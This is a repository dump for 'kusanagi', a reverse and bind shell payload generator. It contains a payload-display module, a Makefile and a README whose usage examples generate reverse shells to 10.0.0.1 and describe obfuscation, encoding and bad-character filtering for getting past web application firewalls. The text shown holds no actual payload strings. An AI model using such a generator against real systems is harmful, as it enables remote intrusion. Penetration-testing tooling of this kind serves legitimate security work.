144 | total = len(item["code"]["requires"]["version"])
145 | if not total:
146 | p.stderr("")
147 | else:
148 | p.stderr(" (", end="")
149 | for i in range(total):
150 | p.stderr(item["code"]["requires"]["version"][i], "blue", end="")
151 | if i < total - 1:
152 | p.stderr(", ", end="")
153 | else:
154 | p.stderr(")")
155 |
156 | # obfuscated
157 | p.stderr(" obfuscated: ", end="")
158 | p.stderr(item[payload["payload"]]["obfuscated"], "blue")
159 |
160 | # shell
161 | if item["revshell"]["shell"] is not None and item["revshell"]["command"] is not None:
162 | p.stderr(" shell: ", end="")
163 | p.stderr(item["revshell"]["shell"], "blue", end="")
164 | p.stderr(" (", end="")
165 | p.stderr(item["revshell"]["command"], end="")
166 | p.stderr(")")
167 | else:
168 | p.stderr(" shell: ", end="")
169 | p.stderr(str(item["revshell"]["shell"]), "blue")
170 |
171 |
172 | def output_target_requirements(p: Printer, item: Dict[str, Any], payload: Dict[str, Any]) -> None:
173 | """Output payload target."""
174 | p.stderr("")
175 | p.stderr("TARGET REQUIREMENTS", "magenta")
176 |
177 | # OS
178 | p.stderr(" OS: ", end="")
179 | total = len(item[payload["payload"]]["requires"]["os"])
180 | if not total:
181 | p.stderr("")
182 | for i in range(total):
183 | p.stderr(item[payload["payload"]]["requires"]["os"][i], "blue", end="")
184 | if i < total - 1:
185 | p.stderr(", ", end="")
186 | else:
187 | p.stderr("")
188 |
189 | # commands
190 | p.stderr(" Commands: ", end="")
191 | total = len(item[payload["payload"]]["requires"]["commands"])
192 | if not total:
193 | p.stderr("")
194 | for i in range(total):
195 | p.stderr(item[payload["payload"]]["requires"]["commands"][i], "blue", end="")
196 | if i < total - 1:
197 | p.stderr(", ", end="")
198 | else:
199 | p.stderr("")
200 |
201 | # functions
202 | if "functions" in item[payload["payload"]]["requires"]:
203 | p.stderr(" Functions: ", end="")
204 | total = len(item["code"]["requires"]["functions"])
205 | if not total:
206 | p.stderr("")
207 | for i in range(total):
208 | p.stderr(item["code"]["requires"]["functions"][i], "blue", end="")
209 | if i < total - 1:
210 | p.stderr(", ", end="")
211 | else:
212 | p.stderr("")
213 |
214 | # modules
215 | if "modules" in item[payload["payload"]]["requires"]:
216 | p.stderr(" Modules: ", end="")
217 | total = len(item["code"]["requires"]["modules"])
218 | if not total:
219 | p.stderr("")
220 | for i in range(total):
221 | p.stderr(item["code"]["requires"]["modules"][i], "blue", end="")
222 | if i < total - 1:
223 | p.stderr(", ", end="")
224 | else:
225 | p.stderr("")
226 |
227 | # shell_env
228 | if "shell_env" in item[payload["payload"]]["requires"]:
229 | p.stderr(" Shell envs: ", end="")
230 | total = len(item[payload["payload"]]["requires"]["shell_env"])
231 | if not total:
232 | p.stderr("")
233 | for i in range(total):
234 | p.stderr(item[payload["payload"]]["requires"]["shell_env"][i], "blue", end="")
235 | if i < total - 1:
236 | p.stderr(", ", end="")
237 | else:
238 | p.stderr("")
239 |
240 |
241 | def output_inject_requirements(p: Printer, item: Dict[str, Any]) -> None:
242 | """Output payload target."""
243 | p.stderr("")
244 | p.stderr("INJECT REQUIREMENTS", "magenta")
245 |
246 | # bytes
247 | p.stderr(" size: ", end="")
248 | p.stderr(str(len(item["payload"])), "blue", end="")
249 | p.stderr(" bytes")
250 |
251 | # badchars
252 | p.stderr(" badchars: ", end="")
253 | p.stderr(_get_badchars(item["payload"]), "blue")
254 |
255 |
256 | def output_build_requirements(p: Printer, item: Dict[str, Any]) -> None:
257 | """Output how the payload has been assembled."""
258 | if not item["builder"]:
259 | return
260 |
261 | p.stderr("")
262 | p.stderr("ASSEMBLING", "magenta")
263 | for i, step in enumerate(item["builder"]):
264 | p.stderr(f" {i+1}. ", end="")
265 | p.stderr(step, "blue")
266 |
267 |
268 | def output_help(p: Printer, index: int) -> None:
269 | """Output payload target."""
270 | p.stderr("")
271 | p.stderr("# Append '", "green", end="")
272 | p.stderr(f"-c {index}", "blue", end="")
273 | p.stderr("' to copy payload to clipboard", "green")
274 |
275 | p.stderr("# Append '", "green", end="")
276 | p.stderr(f"-q {index}", "blue", end="")
277 | p.stderr("' to display payload details", "green")
278 | p.stderr("")
279 |
280 |
281 | def output_encoders(p: Printer, item: Dict[str, Any], encoders: List[str]) -> None:
282 | """Output final payload."""
283 | data = item["payload"]
284 |
285 | # Apply output encoders
286 | for encoder in encoders:
287 | data = encode(data, encoder)
288 |
289 | # output encoder
290 | total = len(encoders)
291 | if total:
292 | # encoders used
293 | p.stderr("output encoder: ", end="")
294 | for i in range(total):
295 | p.stderr(f"{encoders[i]}", "green", end="")
296 | if i < total - 1:
297 | p.stderr(" -> ", end="")
298 | else:
299 | p.stderr("")
300 | # encoded size
301 | p.stderr("encoded size: ", end="")
302 | p.stderr(str(len(data)), "green", end="")
303 | p.stderr(" bytes")
304 | # encoded badchars
305 | p.stderr("encoded badchars: ", end="")
306 | p.stderr(_get_badchars(data), "green")
307 | p.stderr("")
308 |
309 |
310 | def output_payload(p: Printer, item: Dict[str, Any], encoders: List[str]) -> None:
311 | """Output final payload."""
312 | data = item["payload"]
313 |
314 | # Apply output encoders
315 | for encoder in encoders:
316 | data = encode(data, encoder)
317 | p.stdout(data, "yellow")
318 | p.stderr("")
319 |
320 |
321 | def _get_badchars(data: str) -> str:
322 | """Returns the badchars contained in a string."""
323 | regex = r"[^a-zA-Z0-9\s]"
324 | match = re.findall(regex, data)
325 | match = sorted(set(match)) # unique and sort
326 | return "".join(match)
327 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | ifneq (,)
2 | .error This Makefile requires GNU Make.
3 | endif
4 |
5 |
6 | # -------------------------------------------------------------------------------------------------
7 | # Can be changed
8 | # -------------------------------------------------------------------------------------------------
9 | # This can be adjusted
10 | PYTHON_VERSION = 3.6
11 |
12 |
13 | # -------------------------------------------------------------------------------------------------
14 | # Default configuration
15 | # -------------------------------------------------------------------------------------------------
16 | .PHONY: help lint code test autoformat build clean
17 | SHELL := /bin/bash
18 |
19 | NAME = $(shell grep -E '^[[:space:]]*name' setup.py | awk -F'"' '{print $$2}' | sed 's/-/_/g' )
20 | VENV = venv
21 | SRC = kusanagi
22 |
23 | FL_VERSION = 0.4
24 | FL_IGNORES = .git/,.github/,$(NAME).egg-info,.mypy_cache/,$(ENV)
25 |
26 |
27 | # -------------------------------------------------------------------------------------------------
28 | # Default Target
29 | # -------------------------------------------------------------------------------------------------
30 | help:
31 | @echo "lint Lint repository files"
32 | @echo "code Run code linters: black, mypy, pylint, pydocstyle, pycodestyle"
33 | @echo "test Run integration tests"
34 | @echo "autoformat Autoformat code according to Python Black standard"
35 | @echo "build Build Python package"
36 | @echo "clean Clean current Python package build"
37 |
38 |
39 | # -------------------------------------------------------------------------------------------------
40 | # Lint Targets
41 | # -------------------------------------------------------------------------------------------------
42 | lint: _lint-files
43 | lint: _lint-version
44 | lint: _lint-bin-name
45 | lint: _lint-pkg-name
46 | lint: _lint-description
47 |
48 | .PHONY: _lint-files
49 | _lint-files:
50 | @echo "# --------------------------------------------------------------------"
51 | @echo "# Lint files"
52 | @echo "# -------------------------------------------------------------------- #"
53 | @docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data cytopia/file-lint:$(FL_VERSION) file-cr --text --ignore '$(FL_IGNORES)' --path .
54 | @docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data cytopia/file-lint:$(FL_VERSION) file-crlf --text --ignore '$(FL_IGNORES)' --path .
55 | @docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data cytopia/file-lint:$(FL_VERSION) file-trailing-single-newline --text --ignore '$(FL_IGNORES)' --path .
56 | @docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data cytopia/file-lint:$(FL_VERSION) file-trailing-space --text --ignore '$(FL_IGNORES)' --path .
57 | @docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data cytopia/file-lint:$(FL_VERSION) file-utf8 --text --ignore '$(FL_IGNORES)' --path .
58 | @docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data cytopia/file-lint:$(FL_VERSION) file-utf8-bom --text --ignore '$(FL_IGNORES)' --path .
59 | @docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data cytopia/file-lint:$(FL_VERSION) git-conflicts --text --ignore '$(FL_IGNORES)' --path .
60 |
61 | .PHONY: _lint-version
62 | _lint-version:
63 | @echo "# -------------------------------------------------------------------- #"
64 | @echo "# Check version"
65 | @echo "# -------------------------------------------------------------------- #"
66 | @VERSION_CODE=$$( cat $(SRC)/defaults.py | grep ^DEF_VERSION | awk -F'"' '{print $$2}' ); \
67 | VERSION_SETUP=$$( grep version= setup.py | awk -F'"' '{print $$2}' || true ); \
68 | if [ "$${VERSION_CODE}" != "$${VERSION_SETUP}" ]; then \
69 | echo "[ERROR] Version mismatch"; \
70 | echo "$(SRC)/defaults.py $${VERSION_CODE}"; \
71 | echo "setup.py: $${VERSION_SETUP}"; \
72 | exit 1; \
73 | else \
74 | echo "[OK] Version match"; \
75 | echo "$(SRC)/defaults.py $${VERSION_CODE}"; \
76 | echo "setup.py: $${VERSION_SETUP}"; \
77 | exit 0; \
78 | fi \
79 |
80 | .PHONY: _lint-bin-name
81 | _lint-bin-name:
82 | @echo "# -------------------------------------------------------------------- #"
83 | @echo "# Check binary name"
84 | @echo "# -------------------------------------------------------------------- #"
85 | @NAME_CODE=$$( cat $(SRC)/defaults.py | grep ^DEF_BIN | awk -F'"' '{print $$2}' ); \
86 | NAME_SETUP=$$( grep ':main' setup.py | awk -F'"' '{print $$2}' | awk -F'=' '{print $$1}' ); \
87 | if [ "$${NAME_CODE}" != "$${NAME_SETUP}" ]; then \
88 | echo "[ERROR] Name mismatch"; \
89 | echo "$(SRC)/defaults.py $${NAME_CODE}"; \
90 | echo "setup.py: $${NAME_SETUP}"; \
91 | exit 1; \
92 | else \
93 | echo "[OK] Name match"; \
94 | echo "$(SRC)/defaults.py $${NAME_CODE}"; \
95 | echo "setup.py: $${NAME_SETUP}"; \
96 | exit 0; \
97 | fi \
98 |
99 | .PHONY: _lint-pkg-name
100 | _lint-pkg-name:
101 | @echo "# -------------------------------------------------------------------- #"
102 | @echo "# Check package name"
103 | @echo "# -------------------------------------------------------------------- #"
104 | @NAME_CODE=$$( cat $(SRC)/defaults.py | grep ^DEF_NAME | awk -F'"' '{print $$2}' ); \
105 | NAME_SETUP=$$( grep 'name=' setup.py | awk -F'"' '{print $$2}' | awk -F'=' '{print $$1}' ); \
106 | if [ "$${NAME_CODE}" != "$${NAME_SETUP}" ]; then \
107 | echo "[ERROR] Name mismatch"; \
108 | echo "$(SRC)/defaults.py $${NAME_CODE}"; \
109 | echo "setup.py: $${NAME_SETUP}"; \
110 | exit 1; \
111 | else \
112 | echo "[OK] Name match"; \
113 | echo "$(SRC)/defaults.py $${NAME_CODE}"; \
114 | echo "setup.py: $${NAME_SETUP}"; \
115 | exit 0; \
116 | fi \
117 |
118 |
119 | .PHONY: _lint-description
120 | _lint-description:
121 | @echo "# -------------------------------------------------------------------- #"
122 | @echo "# Check description"
123 | @echo "# -------------------------------------------------------------------- #"
124 | @DESC_CODE=$$( \
125 | grep -A2 -E '^DEF_DESC\s*=\s*("|\()' $(SRC)/defaults.py \
126 | | grep -E '".+"' \
127 | | awk -F'"' '{print $$2}' \
128 | ); \
129 | DESC_SETUP=$$( grep description= setup.py | awk -F'"' '{print $$2}' || true ); \
130 | if [ "$${DESC_CODE}" != "$${DESC_SETUP}" ]; then \
131 | echo "[ERROR] Desc mismatch"; \
132 | echo "$(SRC)/defaults.py $${DESC_CODE}"; \
133 | echo "setup.py: $${DESC_SETUP}"; \
134 | exit 1; \
135 | else \
136 | echo "[OK] Desc match"; \
137 | echo "$(SRC)/defaults.py $${DESC_CODE}"; \
138 | echo "setup.py: $${DESC_SETUP}"; \
139 | exit 0; \
140 | fi \
141 |
142 |
143 | # -------------------------------------------------------------------------------------------------
144 | # Code Style Targets
145 | # -------------------------------------------------------------------------------------------------
146 | code: _code-pycodestyle
147 | code: _code-pydocstyle
148 | code: _code-pylint
149 | code: _code-black
150 | code: _code-mypy
151 |
152 | .PHONY: _code-pycodestyle
153 | _code-pycodestyle:
154 | @echo "# -------------------------------------------------------------------- #"
155 | @echo "# Check pycodestyle"
156 | @echo "# -------------------------------------------------------------------- #"
157 | docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data cytopia/pycodestyle --config=setup.cfg $(SRC)/
158 |
159 | .PHONY: _code-pydocstyle
160 | _code-pydocstyle:
161 | @echo "# -------------------------------------------------------------------- #"
162 | @echo "# Check pydocstyle"
163 | @echo "# -------------------------------------------------------------------- #"
164 | docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data cytopia/pydocstyle --explain --config=setup.cfg $(SRC)/
165 |
166 | .PHONY: _code-pylint
167 | _code-pylint:
168 | @echo "# -------------------------------------------------------------------- #"
169 | @echo "# Check pylint"
170 | @echo "# -------------------------------------------------------------------- #"
171 | docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data --entrypoint=sh cytopia/pylint -c '\
172 | pip3 install -r requirements.txt \
173 | && pylint --rcfile=setup.cfg $(SRC)/'
174 |
175 | .PHONY: _code-black
176 | _code-black:
177 | @echo "# -------------------------------------------------------------------- #"
178 | @echo "# Check Python Black"
179 | @echo "# -------------------------------------------------------------------- #"
180 | docker run --rm $$(tty -s && echo "-it" || echo) -v ${PWD}:/data cytopia/black -l 100 --check --diff $(SRC)/
181 |
182 | .PHONY: _code-mypy
183 | _code-mypy:
184 | @echo "# -------------------------------------------------------------------- #"
185 | @echo "# Check mypy"
186 | @echo "# -------------------------------------------------------------------- #"
187 | docker run --rm $$(tty -s && echo "-it" || echo) -v ${PWD}:/data cytopia/mypy --config-file setup.cfg $(SRC)/
188 |
189 |
190 | # -------------------------------------------------------------------------------------------------
191 | # Test Targets
192 | # -------------------------------------------------------------------------------------------------
193 | .PHONY: test
194 | test:
195 | @echo "Check Python package"
196 | docker run \
197 | --rm \
198 | $$(tty -s && echo "-it" || echo) \
199 | -v $(PWD):/data \
200 | -w /data \
201 | python:$(PYTHON_VERSION)-alpine sh -c "\
202 | pip install -r requirements.txt \
203 | && ./bin/kusa --help \
204 | && ./bin/kusa cmd --help \
205 | && ./bin/kusa cmd localhost \
206 | && ./bin/kusa cmd localhost 4445 \
207 | && ./bin/kusa cmd localhost -e nc \
208 | && ./bin/kusa cmd localhost -s sh \
209 | && ./bin/kusa cmd localhost -b '/' \
210 | && ./bin/kusa cmd localhost -o bsd \
211 | && ./bin/kusa cmd localhost -o linux \
212 | && ./bin/kusa cmd localhost -o mac \
213 | && ./bin/kusa cmd localhost -o windows \
214 | && ./bin/kusa cmd localhost -m 100 \
215 | && ./bin/kusa cmd localhost --enc url \
216 | && ./bin/kusa cmd localhost --enc url hex \
217 | "
218 |
219 |
220 | # -------------------------------------------------------------------------------------------------
221 | # Build Targets
222 | # -------------------------------------------------------------------------------------------------
223 | build: clean
224 | build: _lint-version
225 | build: _build-source_dist
226 | build: _build-binary_dist
227 | build: _build-python_package
228 | build: _build-check_python_package
229 |
230 | .PHONY: _build_source_dist
231 | _build-source_dist:
232 | @echo "Create source distribution"
233 | docker run \
234 | --rm \
235 | $$(tty -s && echo "-it" || echo) \
236 | -v $(PWD):/data \
237 | -w /data \
238 | -u $$(id -u):$$(id -g) \
239 | python:$(PYTHON_VERSION)-alpine \
240 | python setup.py sdist
241 |
242 | .PHONY: _build_binary_dist
243 | _build-binary_dist:
244 | @echo "Create binary distribution"
245 | docker run \
246 | --rm \
247 | $$(tty -s && echo "-it" || echo) \
248 | -v $(PWD):/data \
249 | -w /data \
250 | -u $$(id -u):$$(id -g) \
251 | python:$(PYTHON_VERSION)-alpine \
252 | python setup.py bdist_wheel --universal
253 |
254 | .PHONY: _build_python_package
255 | _build-python_package:
256 | @echo "Build Python package"
257 | docker run \
258 | --rm \
259 | $$(tty -s && echo "-it" || echo) \
260 | -v $(PWD):/data \
261 | -w /data \
262 | -u $$(id -u):$$(id -g) \
263 | python:$(PYTHON_VERSION)-alpine \
264 | python setup.py build
265 |
266 | .PHONY: _build_check_python_package
267 | _build-check_python_package:
268 | @echo "Check Python package"
269 | docker run \
270 | --rm \
271 | $$(tty -s && echo "-it" || echo) \
272 | -v $(PWD):/data \
273 | -w /data \
274 | python:$(PYTHON_VERSION)-slim \
275 | sh -c "pip install twine \
276 | && twine check dist/*"
277 |
278 | clean:
279 | rm -rf build/
280 | rm -rf dist/
281 | rm -rf $(NAME).egg-info
282 | find . -type f -name '*.pyc' -exec rm {} \;
283 | find . -type d -name '__pycache__' -prune -exec rmdir {} \;
284 |
285 | .PHONY: venv
286 | venv:
287 | python3 -m venv $(VENV)
288 | @echo source $(VENV)/bin/activate
289 | @echo python3 setup.py install
290 |
291 |
292 | # -------------------------------------------------------------------------------------------------
293 | # Publish Targets
294 | # -------------------------------------------------------------------------------------------------
295 | deploy: _build-check_python_package
296 | docker run \
297 | --rm \
298 | $$(tty -s && echo "-it" || echo) \
299 | -v $(PWD):/data \
300 | -w /data \
301 | python:$(PYTHON_VERSION)-slim \
302 | sh -c "pip install twine \
303 | && twine upload dist/*"
304 |
305 |
306 | # -------------------------------------------------------------------------------------------------
307 | # Misc Targets
308 | # -------------------------------------------------------------------------------------------------
309 | autoformat:
310 | docker run \
311 | --rm \
312 | $$(tty -s && echo "-it" || echo) \
313 | -v $(PWD):/data \
314 | -w /data \
315 | cytopia/black -l 100 $(SRC)/
316 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Kusanagi - 草薙
2 |
3 | **TL;DR:** `kusanagi` is a major, bind- and reverse shell payload generator.
4 |
5 |
6 | [](https://github.com/psf/black)
7 | [](https://pypi.org/project/kusanagi/)
8 | [](https://pypi.org/project/kusanagi/)
9 | [](https://pypi.org/project/kusanagi/)
10 | [](https://pypi.org/project/kusanagi/)
11 | [](https://pypi.org/project/kusanagi/)
12 |
13 | At its core, it is just a collection of Yaml files that define various *shell commands*,
14 | *code snippets*, *file specifications* and *obfuscators*. It combines and permutates all of them to generate
15 | payloads according to someone's need.
16 |
17 | **Payloads** are highly searchable and filterable in order
18 | to generate a *code-*, *file-* or *command* injection with correct binaries for the target architecture
19 | and removed bad chars that might get filtered/denied by certain mechanisms which are in between you and the target (e.g.: web application firewall).
20 | Additional **output encoding** can be applied on your generated payloads (See [list of encoders](https://github.com/cytopia/kusanagi/blob/master/kusanagi/core/encoder/__init__.py#L13)).
21 |
22 | **Disclaimer:** It does have a *copy-to-clipboard* function to eliminate heavy mouse gestures.
23 |
24 |
25 |
26 |
27 | ## :tada: Install
28 | ```bash
29 | pip install kusanagi
30 | ```
31 |
32 | > :exclamation: Requires Python >= 3.6
33 |
34 |
35 |
36 | ## :hourglass: Current state
37 |
38 | [](https://github.com/cytopia/kusanagi/actions?workflow=linting)
39 | [](https://github.com/cytopia/kusanagi/actions?workflow=building)
40 | [](https://github.com/cytopia/kusanagi/actions?workflow=testing)
41 |
42 | [](https://github.com/cytopia/kusanagi/actions?workflow=black)
43 | [](https://github.com/cytopia/kusanagi/actions?workflow=mypy)
44 | [](https://github.com/cytopia/kusanagi/actions?workflow=pylint)
45 | [](https://github.com/cytopia/kusanagi/actions?workflow=pycode)
46 | [](https://github.com/cytopia/kusanagi/actions?workflow=pydoc)
47 |
48 |
49 | `kusanagi` is currently at most an alpha version and in a very early state of development.
50 |
51 | Feel free to use it, but expect drastic changes in ui and available command line arguments.
52 |
53 | If you want to support this project, drop me all your payloads and obfuscators you know about.
54 |
55 |
56 |
57 | ## :star: Features
58 |
59 | You can find current features here:
60 |
61 | * [ ] Automated Quote escaping
62 | * [ ] Quote swapping
63 | * [X] Obfuscation
64 | * [ ] Permutation
65 | * [X] Badchar elimination
66 | * [X] Output encoder
67 | * [X] Copy to clipboard
68 | * [X] Command injection
69 | * [X] Code injection
70 | * [ ] File injection
71 | * [ ] Payload: Persistence wrapper
72 | * [X] Payload: reverse shell
73 | * [ ] Payload: bind shell
74 | * [ ] Payload: port forwarding
75 | * [ ] BYOY: Bring your own yaml - and have custom payloads
76 |
77 |
78 |
79 | ## Usage
80 |
81 | ### General
82 |
83 | Kusanagi is separated into different usage section. To start off, you will have to choose between a shell command for command injection (`cmd`), a code snippet from a programming language for code injection (`code`) and a generated file for various exploits injected into it (`file`).
84 |
85 |
86 | ```bash
87 | usage: kusa [options] addr [host]
88 | kusa -h
89 | kusa -v, --version
90 | kusa -h, --help
91 |
92 | Kusanagi is a bind and reverse shell payload generator with obfuscation and badchar support.
93 |
94 | positional arguments:
95 |
96 | cmd Generate a command to be executed on a shell.
97 | code Generate source code (e.g.: php).
98 | file Inject source code in a file (e.g.: php in jpeg).
99 |
100 | misc arguments:
101 | -v, --version Show version information and exit
102 | -h, --help Show this help message and exit
103 | ```
104 |
105 | ### Injectable commands (`cmd`)
106 |
107 | Options for command injection/execution module.
108 |
109 |
110 | Click here to expand full usage
111 |
112 | ```bash
113 | usage: kusa cmd [options] addr [port]
114 | kusa cmd -h, --help
115 |
116 | positional arguments:
117 | addr Address to listen or connect to.
118 |
119 | port (Optional) Port to listen or connect to
120 | Default: 4444
121 |
122 |
123 | query arguments:
124 | -e EXE [EXE ...], --exe EXE [EXE ...]
125 | Command that will execute the payload
126 | (e.g.: perl, python, php, nc, sh, bash, cmd, PowerShell, etc)
127 | Default: do not filter by underlying command.
128 |
129 | -s SHELL [SHELL ...], --shell SHELL [SHELL ...]
130 | Shell on which the command (specified via -e)
131 | will be executed. Some payloads use crazy output
132 | redirections or pipes that will only work on certain
133 | underlying shells.
134 | (e.g.: dash, sh, bash, zsh, cmd, PowerShell)
135 | Default: do not filter by underlying shell.
136 |
137 | -b BADCHARS, --badchars BADCHARS
138 | Exclude any payloads that contain the specified bad chars.
139 | This comes in handy if you encounter a Web Application Firewall
140 | that prohibits certain characters.
141 | Default: Ignore badchars
142 |
143 | -o {bsd,linux,mac,solaris,windows}, --os {bsd,linux,mac,solaris,windows}
144 | Only fetch payloads which work on a specific operating system.
145 | Default: fetch for all OS.
146 |
147 | -m bytes, --maxlen bytes
148 | Exclude any payloads exceeding the specified max length.
149 |
150 |
151 | mutate arguments:
152 | --obf Run the fun. This switch will apply obfuscator to all
153 | payloads to get a different set of badchars.
154 |
155 | --enc name [name ...]
156 | Encode the output with one or more encoders.
157 | When encoding multiple times, pay attention to the
158 | order of specifying encoders.
159 | Note that any filtering (-b, -o, etc) is not done on the
160 | encoded payload. Filtering is done before.
161 | To view available encoders, use --list-encoders.
162 |
163 | helper arguments:
164 | -q, --quick Show quick payload results (less detail).
165 |
166 | -c [index], --copy [index]
167 | Copy last shown payload to clipboard or specify index
168 | of payload to copy to clipboard.
169 | (indices are shown in square brackets next to payload)
170 |
171 |
172 | misc arguments:
173 | -h, --help Show this help message and exit
174 | ```
175 |
176 |
177 |
178 |
179 | #### Examples
180 | ```bash
181 | # List reverse shells connecting to 10.0.0.1 (port 4444 by default)
182 | kusa cmd 10.0.0.1
183 | ```
184 | ```bash
185 | # List reverse shells connecting to 10.0.0.1:1337
186 | kusa cmd 10.0.0.1 1337
187 | ```
188 |
189 | ```bash
190 | # Copy last reverse shell payload to clipboard
191 | kusa cmd 10.0.0.1 -c
192 | ```
193 | ```bash
194 | # Copy reverse shell with index 2 to clipboard
195 | kusa cmd 10.0.0.1 -c 2
196 | ```
197 | ```bash
198 | # URL encode reverse shell
199 | kusa cmd 10.0.0.1 --enc url
200 | ```
201 | ```bash
202 | # Base64 encode and then url encode reverse shell
203 | kusa cmd 10.0.0.1 --enc base64 url
204 | ```
205 | ```bash
206 | # Obfuscate payloads
207 | kusa cmd 10.0.0.1 --obf
208 | ```
209 | ```bash
210 | # Obfuscated and filter away '/' and '$' characters in payload
211 | kusa cmd 10.0.0.1 --obf -b '/$'
212 | ```
213 |
214 |
215 |
216 | ### Injectable code (`code`)
217 |
218 | Options for code injection/execution module.
219 |
220 |
221 | Click here to expand full usage
222 |
223 | ```bash
224 | usage: kusa code [options] addr [port]
225 | kusa code -h, --help
226 |
227 | positional arguments:
228 | addr Address to listen or connect to.
229 |
230 | port (Optional) Port to listen or connect to
231 | Default: 4444
232 |
233 |
234 | query arguments:
235 | -l LANG [LANG ...], --lang LANG [LANG ...]
236 | The payload language to query.
237 | (e.g.: perl, python, php, etc)
238 | Default: do not filter language.
239 |
240 | -s SHELL [SHELL ...], --shell SHELL [SHELL ...]
241 | Shell on which the command (specified via -e)
242 | will be executed. Some payloads use crazy output
243 | redirections or pipes that will only work on certain
244 | underlying shells.
245 | (e.g.: dash, sh, bash, zsh, cmd, PowerShell)
246 | Default: do not filter by underlying shell.
247 |
248 | -b BADCHARS, --badchars BADCHARS
249 | Exclude any payloads that contain the specified bad chars.
250 | This comes in handy if you encounter a Web Application Firewall
251 | that prohibits certain characters.
252 | Default: Ignore badchars
253 |
254 | -o {bsd,linux,mac,solaris,windows}, --os {bsd,linux,mac,solaris,windows}
255 | Only fetch payloads which work on a specific operating system.
256 | Default: fetch for all OS.
257 |
258 | -m bytes, --maxlen bytes
259 | Exclude any payloads exceeding the specified max length.
260 |
261 |
262 | mutate arguments:
263 | --obf Run the fun. This switch will apply obfuscator to all
264 | payloads to get a different set of badchars.
265 |
266 | --enc name [name ...]
267 | Encode the output with one or more encoders.
268 | When encoding multiple times, pay attention to the
269 | order of specifying encoders.
270 | Note that any filtering (-b, -o, etc) is not done on the
271 | encoded payload. Filtering is done before.
272 | To view available encoders, use --list-encoders.
273 |
274 | helper arguments:
275 | -q, --quick Show quick payload results (less detail).
276 |
277 | -c [index], --copy [index]
278 | Copy last shown payload to clipboard or specify index
279 | of payload to copy to clipboard.
280 | (indices are shown in square brackets next to payload)
281 |
282 |
283 | misc arguments:
284 | -h, --help Show this help message and exit
285 |
286 | ```
287 |
288 |
289 |
290 |
291 | #### Examples
292 | ```bash
293 | # List reverse shells connecting to 10.0.0.1 (port 4444 by default)
294 | kusa code 10.0.0.1
295 | ```
296 | ```bash
297 | # List reverse shells connecting to 10.0.0.1:1337
298 | kusa code 10.0.0.1 1337
299 | ```
300 |
301 | ```bash
302 | # Copy last reverse shell payload to clipboard
303 | kusa code 10.0.0.1 -c
304 | ```
305 | ```bash
306 | # Copy reverse shell with index 2 to clipboard
307 | kusa code 10.0.0.1 -c 2
308 | ```
309 | ```bash
310 | # Select only PHP code (-l/--language)
311 | kusa code 10.0.0.1 -l php
312 | ```
313 | ```bash
314 | # URL encode reverse shell
315 | kusa code 10.0.0.1 --enc url
316 | ```
317 | ```bash
318 | # Base64 encode and then url encode reverse shell
319 | kusa code 10.0.0.1 --enc base64 url
320 | ```
321 | ```bash
322 | # Obfuscate payloads
323 | kusa code 10.0.0.1 --obf
324 | ```
325 | ```bash
326 | # Obfuscated and filter away '/' and '$' characters in payload
327 | kusa code 10.0.0.1 --obf -b '/$'
328 | ```
329 |
330 |
331 |
332 |
333 | ## :lock: [cytopia](https://github.com/cytopia) sec tools
334 |
335 | Below is a list of sec tools and docs I am maintaining.
336 |
337 | | Name | Category | Language | Description |
338 | |----------------------|----------------------|------------|-------------|
339 | | **[offsec]** | Documentation | Markdown | Offsec checklist, tools and examples |
340 | | **[header-fuzz]** | Enumeration | Bash | Fuzz HTTP headers |
341 | | **[smtp-user-enum]** | Enumeration | Python 2+3 | SMTP users enumerator |
342 | | **[urlbuster]** | Enumeration | Python 2+3 | Mutable web directory fuzzer |
343 | | **[pwncat]** | Pivoting | Python 2+3 | Cross-platform netcat on steroids |
344 | | **[kusanagi]** | Payload Generator | Python 3 | Bind- and Reverse shell payload generator |
345 | | **[badchars]** | Reverse Engineering | Python 2+3 | Badchar generator |
346 | | **[fuzza]** | Reverse Engineering | Python 2+3 | TCP fuzzing tool |
347 | | **[docker-dvwa]** | Playground | PHP | DVWA with local priv esc challenges |
348 |
349 | [offsec]: https://github.com/cytopia/offsec
350 | [header-fuzz]: https://github.com/cytopia/header-fuzz
351 | [smtp-user-enum]: https://github.com/cytopia/smtp-user-enum
352 | [urlbuster]: https://github.com/cytopia/urlbuster
353 | [pwncat]: https://github.com/cytopia/pwncat
354 | [kusanagi]: https://github.com/cytopia/kusanagi
355 | [badchars]: https://github.com/cytopia/badchars
356 | [fuzza]: https://github.com/cytopia/fuzza
357 | [docker-dvwa]: https://github.com/cytopia/docker-dvwa
358 |
359 |
360 |
361 | ## :octocat: Contributing
362 |
363 | See **[Contributing guidelines](CONTRIBUTING.md)** to help to improve this project.
364 |
365 |
366 |
367 | ## :exclamation: Disclaimer
368 |
369 | This tool may be used for legal purposes only. Users take full responsibility for any actions performed using this tool. The author accepts no liability for damage caused by this tool. If these terms are not acceptable to you, then do not use this tool.
370 |
371 |
372 |
373 | ## :page_facing_up: License
374 |
375 | **[MIT License](LICENSE.txt)**
376 |
377 | Copyright (c) 2021 **[cytopia](https://github.com/cytopia)**
378 |
--------------------------------------------------------------------------------
/kusanagi/args.py:
--------------------------------------------------------------------------------
1 | """Parse command line arguments."""
2 |
3 | import argparse
4 | import sys
5 |
6 | from .defaults import DEF_BIN, DEF_DESC, DEF_VERSION, DEF_AUTHOR, DEF_GITHUB
7 | from .defaults import DEF_PORT
8 | from .core.output.encoder import argparse_encoder_validate
9 |
10 | # from .core.encoder import argparse_encoder_list
11 |
12 |
13 | # class ListEncoderAction(argparse.Action):
14 | # """Argument action to list available encoder."""
15 | #
16 | # def __init__(
17 | # self,
18 | # option_strings,
19 | # dest,
20 | # const=None,
21 | # default=None,
22 | # required=False,
23 | # help=None,
24 | # metavar=None,
25 | # ):
26 | # super(ListEncoderAction, self).__init__(
27 | # option_strings=option_strings,
28 | # dest=dest,
29 | # nargs=0,
